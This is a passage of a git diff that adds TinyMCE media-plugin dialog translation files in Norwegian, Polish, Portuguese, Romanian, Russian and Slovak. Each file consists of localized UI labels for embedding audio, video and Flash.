ramme",currentposition:"Aktiv posisjon",currentmarker:"Aktiv mark\u00f8r",captioningid:"Fange opp id",baseurl:"Utgangsadresse (URL)",balance:"Balanse",windowlessvideo:"Video uten vindu",stretchtofit:"Strekk for \u00e5 passe",mute:"Dempe",invokeurls:"Aktiver URLer",fullscreen:"Fullskjerm",enabled:"Aktivert",autostart:"Autostart",volume:"Volum",target:"M\u00e5l",qtsrcchokespeed:"Choke-hastighet",href:"Href",endtime:"Stopp tid",starttime:"Start tid",enablejavascript:"Tillat Javaskript",correction:"Ingen korreksjon",targetcache:"M\u00e5l-mellomlagring",playeveryframe:"Spill hver ramme",kioskmode:"Kiosk-modus",controller:"Kontroller",menu:"Vis meny",loop:"L\u00f8kke",play:"Autostart",hspace:"H-avstand",vspace:"V-avstand","class_name":"Klasse",name:"Navn",id:"Id",type:"Type",size:"Dimmensjoner",preview:"Forh\u00e5ndsvis","constrain_proportions":"Behold proporsjoner",controls:"Kontroller",numloop:"Antall gjennomganger",console:"Konsoll",cache:"Mellomlager",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flash variabler",base:"Base",bgcolor:"Bakgrunn",wmode:"W-modus",salign:"S-justering",align:"Justering",scale:"Skala",quality:"Kvalitet",shuffle:"Mikse",prefetch:"Hente p\u00e5 forh\u00e5nd",nojava:"Ingen Java",maintainaspect:"Behold st\u00f8rrelsesforhold",imagestatus:"Bildestatus",center:"Midtstill",autogotourl:"Auto g\u00e5-til URL","shockwave_options":"Shockwave egenskaper","rmp_options":"Real Media Player egenskaper","wmp_options":"Windows Media Player egenskaper","qt_options":"Quicktime egenskaper","flash_options":"Flash egenskaper",hidden:"Skjult","align_bottom_left":"Bunn venste","align_bottom_right":"Bunn h\u00f8gre",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Embedded lyd egenskaper",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"lyd",video:"video","html5_video_options":"HTML5-videovalg",altsource1:"Alternativ kilde 1",altsource2:"Alternativ kilde 2",preload:"Forh\u00e5ndsvis",poster:"Poster",source:"Kilde","html5_audio_options":"Lyd egenskaper","preload_none":"Ikke hent p\u00e5 forh\u00e5nd","preload_metadata":"Hent video metadata p\u00e5 forh\u00e5nd","preload_auto":"La brukerens nettleser avgj\u00f8re",iframe:"iframe",embeddedaudio:"embeddedaudio"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/pl_dlg.js b/js/tiny_mce/plugins/media/langs/pl_dlg.js new file mode 100755 index 0000000..9e054b2 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/pl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pl.media_dlg',{list:"Lista",file:"Plik/URL",advanced:"Zaawansowane",general:"G\u0142\u00f3wne",title:"Wstaw/Edytuj wbudowane media","align_top_left":"G\u00f3rny lewy","align_center":"\u015arodek","align_left":"Lewo","align_bottom":"D\u00f3\u0142","align_right":"Prawo","align_top":"G\u00f3ra","qt_stream_warn":"Emitowane \u017ar\u00f3d\u0142a rtsp powinny by\u0107 dodane do pola QT Src w zak\u0142adce zaawansowane.nPowiniene\u015b r\u00f3wnie\u017c doda\u0107 niestrumieniow\u0105 wersj\u0119 do pola Src.",qtsrc:"QT Src",progress:"Post\u0119p",sound:"D\u017awi\u0119k",swstretchvalign:"Wyr\u00f3wnaj w pionie",swstretchhalign:"Wyr\u00f3wnaj w poziomie",swstretchstyle:"Styl rozci\u0105gania",scriptcallbacks:"Funkcje zwrotne skryptu","align_top_right":"G\u00f3rny prawy",uimode:"Tryb UI",rate:"Tempo",playcount:"Ilo\u015b\u0107 odtworze\u0144",defaultframe:"Domy\u015blna ramka",currentposition:"Aktualna pozycja",currentmarker:"Aktualny znacznik",captioningid:"Captioning id",baseurl:"Base URL",balance:"Balans",windowlessvideo:"Wideo bez okienka",stretchtofit:"Rozci\u0105gnij aby dopasowa\u0107",mute:"Wycisz",invokeurls:"Odwo\u0142aj si\u0119 do URLi",fullscreen:"Pe\u0142ny ekran",enabled:"Aktywny",autostart:"Auto start",volume:"G\u0142o\u015bno\u015b\u0107",target:"Cel",qtsrcchokespeed:"Choke speed",href:"Href",endtime:"Ko\u0144cowy czas",starttime:"Pocz\u0105tkowy czas",enablejavascript:"W\u0142\u0105cz JavaScript",correction:"Bez korekcji",targetcache:"Target cache",playeveryframe:"Odtwarzaj ka\u017cd\u0105 ramk\u0119",kioskmode:"Tryb kiosku",controller:"Kontroler",menu:"Poka\u017c menu",loop:"Zap\u0119tlenie",play:"Autoodtwarzanie",hspace:"H-Space",vspace:"V-Space","class_name":"Klasa",name:"Nazwa",id:"Id",type:"Typ",size:"Wymiary",preview:"Podgl\u0105d","constrain_proportions":"Zachowaj proporcje",controls:"Controls",numloop:"Liczba powt\u00f3rze\u0144",console:"Konsola",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Baza",bgcolor:"T\u0142o",wmode:"WMode",salign:"SAlign",align:"Wyr\u00f3wnaj",scale:"Skala",quality:"Jako\u015b\u0107",shuffle:"Losuj",prefetch:"Prze\u0142aduj",nojava:"Bez javy",maintainaspect:"Utrzymaj aspekt",imagestatus:"Obraz statusu",center:"Wy\u015brodkuj",autogotourl:"Automatycznie przejd\u017a pod adres","shockwave_options":"Opcje Shockwave","rmp_options":"Opcje Real media player","wmp_options":"Opcje Windows media player","qt_options":"Opcje Quicktime","flash_options":"Opcje flasha",hidden:"Ukryty","align_bottom_left":"Dolny lewy","align_bottom_right":"Dolny prawy",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Opcje Embedded Audio",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"Opcje HTML5 Video",altsource1:"Alternatywne \u017ar\u00f3d\u0142o 1",altsource2:"Alternatywne \u017ar\u00f3d\u0142o 2",preload:"Prze\u0142aduj",poster:"Obraz",source:"\u0179r\u00f3d\u0142o","html5_audio_options":"Opcje audio","preload_none":"Nie \u0142\u0105duj wst\u0119pnie","preload_metadata":"\u0141aduj wst\u0119pnie metadane video","preload_auto":"Pozw\u00f3l zdecydowa\u0107 przegl\u0105darce u\u017cytkownika",iframe:"iframe",embeddedaudio:"embeddedaudio"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/pt_dlg.js b/js/tiny_mce/plugins/media/langs/pt_dlg.js new file mode 100755 index 0000000..f578cd7 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/pt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('pt.media_dlg',{list:"Lista",file:"Arquivo/URL",advanced:"Avan\u00e7ado",general:"Geral",title:"Inserir/Editar m\u00eddia embutida","align_top_left":"Topo esquerda","align_center":"Centro","align_left":"Esquerda","align_bottom":"Abaixo","align_right":"Direita","align_top":"Topo","qt_stream_warn":"Fluxos de recursos RTSP devem ser acrescentados ao campo QT Src no Modo Avan\u00e7ado.\nUma vers\u00e3o sem fluxo tamb\u00e9m deve ser acrescentada ao campo Src.",qtsrc:"QT Src",progress:"Progresso",sound:"Som",swstretchvalign:"For\u00e7ar V-Alinhamento",swstretchhalign:"For\u00e7ar H-Alinhamento",swstretchstyle:"For\u00e7ar Estilo",scriptcallbacks:"Retornos de chamada de script","align_top_right":"Topo direita",uimode:"Modo UI",rate:"Taxa",playcount:"Contagem de ouvintes",defaultframe:"Frame padr\u00e3o",currentposition:"Posi\u00e7\u00e3o atual",currentmarker:"Marcador atual",captioningid:"Id de legenda",baseurl:"URL Base",balance:"Stereo",windowlessvideo:"V\u00eddeo sem janela",stretchtofit:"Estender",mute:"Mudo",invokeurls:"Chamar URLs",fullscreen:"Tela inteira",enabled:"Ativado",autostart:"Execu\u00e7\u00e3o autom\u00e1tica",volume:"Volume",target:"Alvo",qtsrcchokespeed:"Diminuir Velocidade",href:"Link",endtime:"Hora do fim",starttime:"Hora de in\u00edcio",enablejavascript:"Permitir JavaScript",correction:"Sem correc\u00e7\u00f5es",targetcache:"Cache alvo",playeveryframe:"Executar todas as frames",kioskmode:"Modo Kiosk",controller:"Controlador",menu:"Mostrar menu",loop:"Repeti\u00e7\u00e3o autom\u00e1tica",play:"Execu\u00e7\u00e3o autom\u00e1tica",hspace:"Espa\u00e7o horizontal",vspace:"Espa\u00e7o vertical","class_name":"Classe",name:"Nome",id:"ID",type:"Tipo",size:"Dimens\u00f5es",preview:"Previs\u00e3o","constrain_proportions":"Manter propor\u00e7\u00f5es",controls:"Controles",numloop:"Repeti\u00e7\u00f5es",console:"Console",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flash Vars",base:"Base",bgcolor:"Fundo",wmode:"WMode",salign:"SAlign",align:"Alinhamento",scale:"Escala",quality:"Qualidade",shuffle:"Aleat\u00f3rio",prefetch:"Pr\u00e9-buscar",nojava:"Sem Java",maintainaspect:"Manter aspecto",imagestatus:"Status da imagem",center:"Centro",autogotourl:"Auto abrir URL","shockwave_options":"Op\u00e7\u00f5es Shockwave","rmp_options":"Op\u00e7\u00f5es Real Media Player","wmp_options":"Op\u00e7\u00f5es Windows Media Player","qt_options":"Op\u00e7\u00f5es Quicktime","flash_options":"Op\u00e7\u00f5es Flash",hidden:"Oculto","align_bottom_left":"Abaixo esquerda","align_bottom_right":"Abaixo direita",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Op\u00e7\u00f5es de \u00c1udio Embutido",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockware",audio:"\u00e1udio",video:"v\u00eddeo","html5_video_options":"Op\u00e7\u00f5es de v\u00eddeo HTML5",altsource1:"C\u00f3digo alternativo 1",altsource2:"C\u00f3digo alternativo 2",preload:"Pr\u00e9-carregar",poster:"Poster",source:"Fonte","html5_audio_options":"Op\u00e7\u00f5es de Audio","preload_none":"N\u00e3o Pr\u00e9-carregar","preload_metadata":"Pr\u00e9-carregar metadata de v\u00eddeo","preload_auto":"Deixar que navegador do usu\u00e1rio decida",iframe:"iframe",embeddedaudio:"\u00e1udio embutido"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/ro_dlg.js b/js/tiny_mce/plugins/media/langs/ro_dlg.js new file mode 100755 index 0000000..6b4bfb3 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/ro_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ro.media_dlg',{list:"List\u0103",file:"Fi\u0219ier/URL",advanced:"Avansat\u0103",general:"General",title:"Insereaz\u0103 / editeaz\u0103 media","align_top_left":"St\u00e2nga sus","align_center":"Centru","align_left":"St\u00e2nga","align_bottom":"Jos","align_right":"Dreapta","align_top":"Sus","qt_stream_warn":"Resursele de tip flux rtsp trebuie ad\u0103ugate \u00een c\u00e2mpul QT Src din fila avansat.\nAr trebui de asemenea s\u0103 adaugi \u00een c\u00e2mpul Src o variant\u0103 care nu este de tip flux.",qtsrc:"QT Src",progress:"Progres",sound:"Sunet",swstretchvalign:"\u00centindere V-Aliniere",swstretchhalign:"\u00centindere H-Aliniere",swstretchstyle:"Stil \u00eentindere",scriptcallbacks:"Script callback","align_top_right":"Dreapta sus",uimode:"Mod UI",rate:"Vot",playcount:"Numar red\u0103ri",defaultframe:"Frame implicit",currentposition:"Pozi\u021bie curent\u0103",currentmarker:"Marcator curent",captioningid:"Titlu id",baseurl:"URL baz\u0103",balance:"Balan\u021b\u0103",windowlessvideo:"Video f\u0103r\u0103 fereastr\u0103",stretchtofit:"\u00centinde pentru a se \u00eencadra",mute:"Mut",invokeurls:"Invoc\u0103 URL-uri",fullscreen:"Ecran complet",enabled:"Activat",autostart:"Pornire automat\u0103",volume:"Volum",target:"Tin\u0163a",qtsrcchokespeed:"Viteza de sufocare",href:"Href",endtime:"Timp de sf\u00e2r\u0219it",starttime:"Timp de \u00eenceput",enablejavascript:"Activeaz\u0103 JavaScript",correction:"F\u0103r\u0103 corecturi",targetcache:"Memoria tampon \u021bint\u0103",playeveryframe:"Red\u0103 fiecare cadru",kioskmode:"Mod chio\u0219c",controller:"Controler",menu:"Arat\u0103 meniu",loop:"Repetare",play:"Redare automat\u0103",hspace:"H-Space",vspace:"V-Space","class_name":"Clas\u0103",name:"Nume",id:"Id",type:"Tip",size:"Dimensiuni",preview:"Previzualizare","constrain_proportions":"Men\u0163inere propor\u021bii",controls:"Controale",numloop:"Num\u0103r de repet\u0103ri",console:"Consol\u0103",cache:"Memorie tampon",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Variabile Flash",base:"URL de baz\u0103",bgcolor:"Fundal",wmode:"WMode",salign:"SAlign",align:"Aliniere",scale:"Scar\u0103",quality:"Calitate",shuffle:"Aleator",prefetch:"Prefetch",nojava:"F\u0103r\u0103 java",maintainaspect:"Men\u021bine aspect",imagestatus:"Status imagine",center:"Centru",autogotourl:"Mergi automat la URL","shockwave_options":"Op\u021biuni Shockwave","rmp_options":"Op\u021biuni Real media player","wmp_options":"Op\u021biuni Windows media player","qt_options":"Op\u021biuni QuickTime","flash_options":"Op\u021biuni Flash",hidden:"Ascuns","align_bottom_left":"St\u00e2nga jos","align_bottom_right":"Dreapta jos",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Op\u021biuni de includere audio",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"Op\u021biuni video HTML5",altsource1:"Sursa alternativ\u0103 1",altsource2:"Sursa alternativ\u0103 2",preload:"Pre\u00eencarc\u0103",poster:"Afi\u0219",source:"Surs\u0103","html5_audio_options":"Op\u021biuni audio","preload_none":"Nu pre\u00eenc\u0103rca","preload_metadata":"Pre\u00eencarc\u0103 metadatele video","preload_auto":"Las\u0103 navigatorul utilizatorului s\u0103 decid\u0103",iframe:"iframe",embeddedaudio:"embeddedaudio"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/ru_dlg.js b/js/tiny_mce/plugins/media/langs/ru_dlg.js new file mode 100755 index 0000000..fbb186b --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/ru_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ru.media_dlg',{list:"\u0421\u043f\u0438\u0441\u043e\u043a",file:"\u0410\u0434\u0440\u0435\u0441",advanced:"\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e",general:"\u041e\u0431\u0449\u0435\u0435",title:"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u043a\u043b\u0438\u043f\u0430","align_top_left":"\u041f\u043e \u043b\u0435\u0432\u043e\u043c\u0443 \u0432\u0435\u0440\u0445\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e","align_center":"\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443","align_left":"\u041f\u043e \u043b\u0435\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_bottom":"\u041f\u043e \u043d\u0438\u0436\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e","align_right":"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043a\u0440\u0430\u044e","align_top":"\u041f\u043e \u0432\u0435\u0440\u0445\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e","qt_stream_warn":"\u041f\u043e\u0442\u043e\u043a\u043e\u0432\u044b\u0435 rtsp \u0440\u0435\u0441\u0443\u0440\u0441\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0432 \u043f\u043e\u043b\u0435 QT Src.",qtsrc:"QT Src",progress:"\u041f\u0440\u043e\u0433\u0440\u0435\u0441\u0441",sound:"\u0417\u0432\u0443\u043a",swstretchvalign:"\u0412\u0435\u0440. \u0432\u044b\u0440-\u0435 \u0440\u0430\u0441\u0442\u044f\u0436\u0435\u043d\u0438\u044f",swstretchhalign:"\u0413\u043e\u0440. \u0432\u044b\u0440-\u0435 \u0440\u0430\u0441\u0442\u044f\u0436\u0435\u043d\u0438\u044f",swstretchstyle:"\u0421\u0442\u0438\u043b\u044c \u0440\u0430\u0441\u0442\u044f\u0436\u0435\u043d\u0438\u0435",scriptcallbacks:"\u041f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\u0430","align_top_right":"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u0432\u0435\u0440\u0445\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e",uimode:"\u0420\u0435\u0436\u0438\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430",rate:"\u0420\u0435\u0439\u0442\u0438\u043d\u0433",playcount:"\u0429\u0435\u0442\u0447\u0438\u043a \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0438\u0439",defaultframe:"\u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043a\u0430\u0434\u0440",currentposition:"\u0422\u0435\u043a\u0443\u0449\u0430\u044f \u043f\u043e\u0437\u0438\u0446\u0438\u044f",currentmarker:"\u0422\u0435\u043a\u0443\u0449\u0438\u0439 \u043c\u0430\u0440\u043a\u0435\u0440",captioningid:"\u0418\u043c\u044f \u0441\u0443\u0431\u0442\u0438\u0442\u0440\u043e\u0432",baseurl:"\u0411\u0430\u0437\u043e\u0440\u0432\u044b\u0439 \u0430\u0434\u0440\u0435\u0441",balance:"\u0411\u0430\u043b\u0430\u043d\u0441",windowlessvideo:"\u041e\u043a\u043e\u043d\u043d\u043e\u0435 \u0432\u0438\u0434\u0435\u043e",stretchtofit:"\u041f\u043e\u0434 \u0440\u0430\u0437\u043c\u0435\u0440 \u043e\u043a\u043d\u0430",mute:"\u0411\u0435\u0437 \u0437\u0432\u0443\u043a\u0430",invokeurls:"\u0412\u044b\u0437\u0432\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441",fullscreen:"\u041d\u0430 \u0432\u0435\u0441\u044c \u044d\u043a\u0440\u0430\u043d",enabled:"\u0412\u043a\u043b\u044e\u0447\u0435\u043d\u043e",autostart:"\u0410\u0432\u0442\u043e\u0437\u0430\u043f\u0443\u0441\u043a",volume:"\u0413\u0440\u043e\u043c\u043a\u043e\u0441\u0442\u044c",target:"\u0426\u0435\u043b\u044c",qtsrcchokespeed:"Choke speed",href:"\u0421\u0441\u044b\u043b\u043a\u0430",endtime:"\u0412\u0440\u0435\u043c\u044f \u043e\u043a\u043e\u043d\u0447\u0430\u043d\u0438\u044f",starttime:"\u0412\u0440\u0435\u043c\u044f \u043d\u0430\u0447\u0430\u043b\u0430",enablejavascript:"\u0412\u043a\u043b\u044e\u0447\u0438\u0442\u044c JavaScript",correction:"\u0411\u0435\u0437 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u043a\u0438",targetcache:"\u041a\u044d\u0448 \u0446\u0435\u043b\u0438",playeveryframe:"\u0412\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u043a\u0430\u0436\u0434\u044b\u0439 \u043a\u0430\u0434\u0440",kioskmode:"\u0420\u0435\u0436\u0438\u043c \u043a\u0438\u043e\u0441\u043a",controller:"\u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435",menu:"\u041f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043c\u0435\u043d\u044e",loop:"\u041f\u043e\u0432\u0442\u043e\u0440",play:"\u0410\u0432\u0442\u0437\u0430\u043f\u0443\u0441\u043a",hspace:"\u0413\u043e\u0440. \u043e\u0442\u0441\u0442\u0443\u043f",vspace:"\u0412\u0435\u0440\u0442. \u043e\u0442\u0441\u0442\u0443\u043f","class_name":"\u041a\u043b\u0430\u0441\u0441",name:"\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435",id:"\u0418\u043c\u044f",type:"\u0422\u0438\u043f",size:"\u0420\u0430\u0437\u043c\u0435\u0440\u044b",preview:"\u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440","constrain_proportions":"\u0421\u043e\u0445\u0440\u0430\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u043f\u043e\u0440\u0446\u0438\u0438",controls:"\u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435",numloop:"\u041f\u043e\u0432\u0442\u043e\u0440\u044b",console:"\u041a\u043e\u043d\u0441\u043e\u043b\u044c",cache:"\u041a\u044d\u0448",autohref:"\u0410\u0432\u0442\u043e-\u0441\u0441\u044b\u043b\u043a\u0430",liveconnect:"SWLiveConnect",flashvars:"Flash \u043a\u043e\u043c\u0430\u043d\u0434\u044b",base:"Base",bgcolor:"\u0424\u043e\u043d",wmode:"\u041e\u043a\u043d\u043e",salign:"\u0412\u044b\u0440-\u0435",align:"\u0412\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435",scale:"\u041e\u0431\u043b\u0430\u0441\u0442\u044c",quality:"\u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e",shuffle:"\u0412 \u0440\u0430\u0437\u0431\u0440\u043e\u0441",prefetch:"\u0423\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0449\u0430\u044f \u0432\u044b\u0431\u043e\u0440\u043a\u0430",nojava:"\u0411\u0435\u0437 Java",maintainaspect:"\u0417\u0430\u043f\u043e\u043c\u043d\u0438\u0442\u044c \u0440\u0430\u0437\u043c\u0435\u0440",imagestatus:"\u0421\u0442\u0430\u0442\u0443\u0441 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f",center:"\u0426\u0435\u043d\u0442\u0440",autogotourl:"\u0410\u0432\u0442\u043e\u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430 \u0430\u0434\u0440\u0435\u0441","shockwave_options":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b Shockwave","rmp_options":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b Real Media","wmp_options":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b Windows Media","qt_options":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b Quicktime","flash_options":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b Flash",hidden:"\u0421\u043a\u0440\u044b\u0442\u044b\u0439","align_bottom_left":"\u041f\u043e \u043b\u0435\u0432\u043e\u043c\u0443 \u043d\u0438\u0436\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e","align_bottom_right":"\u041f\u043e \u043f\u0440\u0430\u0432\u043e\u043c\u0443 \u043d\u0438\u0436\u043d\u0435\u043c\u0443 \u043a\u0440\u0430\u044e",flash:"\u0412\u0441\u0442\u0430\u0432\u043a\u0430 Flash \u0444\u0430\u0439\u043b\u0430",quicktime:"\u0412\u0441\u0442\u0430\u0432\u043a\u0430 Quick Time \u0444\u0430\u0439\u043b\u0430","embedded_audio_options":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0432\u043d\u0435\u0434\u0440\u0451\u043d\u043d\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u043e",windowsmedia:"\u0412\u0441\u0442\u0430\u0432\u043a\u0430 Windows Media \u0444\u0430\u0439\u043b\u0430",realmedia:"\u0412\u0441\u0442\u0430\u0432\u043a\u0430 Real Media \u0444\u0430\u0439\u043b\u0430",shockwave:"\u0412\u0441\u0442\u0430\u0432\u043a\u0430 Shockwave \u0444\u0430\u0439\u043b\u0430",audio:"\u0412\u0441\u0442\u0430\u0432\u043a\u0430 HTML5 \u0437\u0432\u0443\u043a\u043e\u0432\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430",video:"\u0412\u0441\u0442\u0430\u0432\u043a\u0430 HTML5 \u0432\u0438\u0434\u0435\u043e \u0444\u0430\u0439\u043b\u0430","html5_video_options":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b HTML5 Video",altsource1:"\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a 1",altsource2:"\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a 2",preload:"\u041f\u0440\u0435\u0434\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430",poster:"\u041f\u043e\u0441\u0442\u0435\u0440",source:"\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a","html5_audio_options":"\u041f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0430\u0443\u0434\u0438\u043e","preload_none":"\u0411\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438","preload_metadata":"\u041f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u0438\u0434\u0435\u043e","preload_auto":"\u041d\u0430 \u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u0438\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430",iframe:"\u0412\u0441\u0442\u0430\u0432\u043a\u0430 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0440\u0435\u0441\u0443\u0440\u0441 \u0432 IFrame",embeddedaudio:"\u0412\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u0417\u0432\u0443\u043a"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/sk_dlg.js b/js/tiny_mce/plugins/media/langs/sk_dlg.js new file mode 100755 index 0000000..eb96783 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/sk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sk.media_dlg',{list:"Zoznam",file:"S\u00fabor/URL",advanced:"Roz\u0161\u00edren\u00e9",general:"Obecn\u00e9",title:"Vlo\u017ei\u0165/upravi\u0165 vkladan\u00e9 m\u00e9di\u00e1","align_top_left":"Hore v\u013eavo","align_center":"Na stred","align_left":"V\u013eavo","align_bottom":"Dolu","align_right":"Vpravo","align_top":"Hore","qt_stream_warn":"Streamovan\u00e9 RTSP zdroje m\u00f4\u017eu by\u0165 pridan\u00e9 do polia \'S\u00fabor/URL streamu pre QT\' na z\u00e1lo\u017eke \'Roz\u0161\u00edren\u00e9\'.\nM\u00f4\u017ete tie\u017e prida\u0165 nie streamovan\u00fa verziu do polia \'S\u00fabor/URL\'.",qtsrc:"S\u00fabor/URL streamu pre QT",progress:"Priebeh",sound:"Zvuk",swstretchvalign:"Zarovnanie vert. roztiahnutia",swstretchhalign:"Zarovnanie horiz. roztiahnutia",swstretchstyle:"\u0160t\u00fdl roztiahnutia",scriptcallbacks:"Skripty sp\u00e4tn\u00fdch volan\u00ed","align_top_right":"Hore vpravo",uimode:"Re\u017eim ovl\u00e1dacieho panelu",rate:"Relat\u00edvna r\u00fdchlos\u0165",playcount:"Po\u010d\u00edtadlo prehrat\u00ed",defaultframe:"Predvolen\u00fd sn\u00edmok",currentposition:"Aktu\u00e1lna poz\u00edcia",currentmarker:"Aktu\u00e1lna z\u00e1lo\u017eka",captioningid:"ID popisku m\u00e9dia",baseurl:"Z\u00e1kladn\u00e1 URL",balance:"Rovnov\u00e1ha",windowlessvideo:"Video bez okna",stretchtofit:"Roztiahn\u00fa\u0165 do okna",mute:"Uml\u010da\u0165",invokeurls:"Po\u017eadova\u0165 URL",fullscreen:"Cel\u00e1 obrazovka",enabled:"Povoli\u0165 ovl\u00e1dac\u00ed panel",autostart:"Automatick\u00e9 spustenie",volume:"Hlasitos\u0165",target:"Cie\u013e",qtsrcchokespeed:"Zn\u00ed\u017eenie r\u00fdchlosti",href:"Odkaz",endtime:"Koncov\u00fd \u010das",starttime:"Po\u010diato\u010dn\u00fd \u010das",enablejavascript:"Povoli\u0165 JavaScript",correction:"Bez korekci\u00ed",targetcache:"Cie\u013eov\u00e1 medzipam\u00e4\u0165",playeveryframe:"Prehra\u0165 ka\u017ed\u00fd sn\u00edmok",kioskmode:"Zak\u00e1za\u0165 ukladanie",controller:"Ovl\u00e1dac\u00ed panel",menu:"Zobrazi\u0165 ponuku",loop:"Opakovanie",play:"Automatick\u00e9 prehr\u00e1vanie",hspace:"Horizont\u00e1lne odsadenie",vspace:"Vertik\u00e1lne odsadenie","class_name":"Trieda",name:"N\u00e1zov",id:"ID",type:"Typ",size:"Rozmery",preview:"N\u00e1h\u013ead","constrain_proportions":"Zachova\u0165 proporcie",controls:"Ovl\u00e1dac\u00ed panel",numloop:"Po\u010det opakovan\u00ed",console:"Konzola",cache:"Medzipam\u00e4\u0165",autohref:"Automatick\u00e9 na\u010d\u00edtanie",liveconnect:"Spusti\u0165 Javu (SWLiveConnect)",flashvars:"Parametre (Flashvars)",base:"Z\u00e1kladn\u00fd prie\u010dinok",bgcolor:"Pozadie",wmode:"Re\u017eim okna",salign:"Zarovnanie okna",align:"Zarovnanie",scale:"Pomer",quality:"Kvalita",shuffle:"N\u00e1hodne",prefetch:"Predna\u010d\u00edtanie",nojava:"Nesp\u00fa\u0161\u0165a\u0165 Javu",maintainaspect:"Zachova\u0165 pomer 